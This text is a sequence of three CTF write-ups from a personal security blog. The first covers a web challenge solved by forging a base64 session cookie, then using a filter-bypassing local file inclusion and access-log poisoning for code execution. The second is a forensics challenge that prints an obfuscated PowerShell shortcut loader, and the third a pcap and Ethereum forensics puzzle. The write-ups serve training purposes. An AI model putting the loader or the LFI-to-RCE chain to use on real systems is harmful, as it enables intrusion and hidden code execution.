The description is pretty clear about what should we expect in this challenge (Web application Privilege escalation and Command Execution).

A zip file is given with the following structure:

First of all let’s examine the Dockerfile in order to get a better understanding of how this works:

Nothing “too important” here, but we can see where and how the flag is stored. The name of the file that contains the flag is randomly generated.

Let’s start the instance and add the ip to hosts file as ctfchall1

An account can be created (user: gger / pass: gger):

With the created account we login:

By examining the downloaded source code of the challenge, we can identify a part responsible for seting the authenticated user’s cookie after a succesfull login:

It is just a base64 ,json encoded username value, that we can easily create and set ourselves:

After that, with the help of the Burp Proxy Match and replace rules setting we can add a replace rule that replaces the PHPSESSID value with ours.

Now, when we refresh index of the web app, we are authenticated as Admin!

Analyzing the php source code of the project we also find another vulnerability that could lead to Local File Inclusion (LFI):

Abusing the user controlled util parameter can lead to local file inclusion, but because the line 7 replaces the chars “../” we need to double the chars we add to the Get request (….// instead of ../ so when the are replaced only the needed ../ part will remain).

There are several ways that an LFI can lead to Remote Command Execution. One of them is by polluting the access log file which will later be included and processed by php fpm.

So we try to pollute the access log file found in /var/log/nginx/access.log

If we request again the access.log file we can see that the php code we entered via the User-Agent header in order to pollute the log file, was executed successfully!

We can also see the flag file with the random name

Using the same vulnerability we can read the file:

The post BSides Athens 2023 – Web – Broken Production Challenge Solution appeared first on George Gerontakis.

After unziping the given file we get two files. One JPEG image and a Shortcut file.

When we view the propeerties of the Shortcut file, we can clearly see that when clicked it executes a powershell command.

%comspec% /c powershel%LOCALAPPDATA:~-1% -eP bypasS -win Hi'dde'n -c '&{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes("Ae%4@3SDs");$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}'"

Lets take this into a sandbox and run each part of the above command separately.

The above loads some code from the image in the zipped file to be executed using Invoke-Expression (iex). So the next step is to view this extracted string.

And we get the flag!!

HTB{d4ng3r0Us_z1p_ZiP_z1pp3R}

The post HTB x UNI CTF Finals – Zipper – Forensics Writeup appeared first on George Gerontakis.

This file is given:

The challenge gives us a pcap file, so lets analyze it using Wireshark!

Searching Protocols we find some HTTP requests.

Lets apply a display filter for HTTP requests only!

We discover that 2 bytes of every User-Agent header can be different for each request.

It could be hex! Lets strip those 2 bytes from User-Agent header of every request and assemble them!

We can write a python script to parse those bytes from every request or we can just use tshark and extract only those 2 bytes from each request.

We convert from hex.

And we get a link.

But we need a password.. So lets better search pcap.

On the last http GET request we find a password!

So lets try with this one as the password for ghostbin.

BINGO!!

Password was correct and we get a large string that looks like a base64. Lets try to decode from b64!

Those are the magic bytes of a jpeg file! Lets convert this base64 into an image.

And we get this image.

We can clearly see a hash!

It is an Ethereum address of Ropsten Testnet Network!

Lets see the last transaction.

We can get the flag by viewing Input data of Contract Creation Transaction.

HTB{1a4b20ec17323f20909c224614308f09}

A more elegant way to find the flag would be to decompile the bytecode of the contract.

We see those three variables!

Lets convert them to string from hex..

HTB{1a4b20ec17323f20909c224614308f09}

The post Warren Buffer writeup- Forensics – Hack The Box University CTF 2020 (HTB UNI CTF 2020) appeared first on George Gerontakis.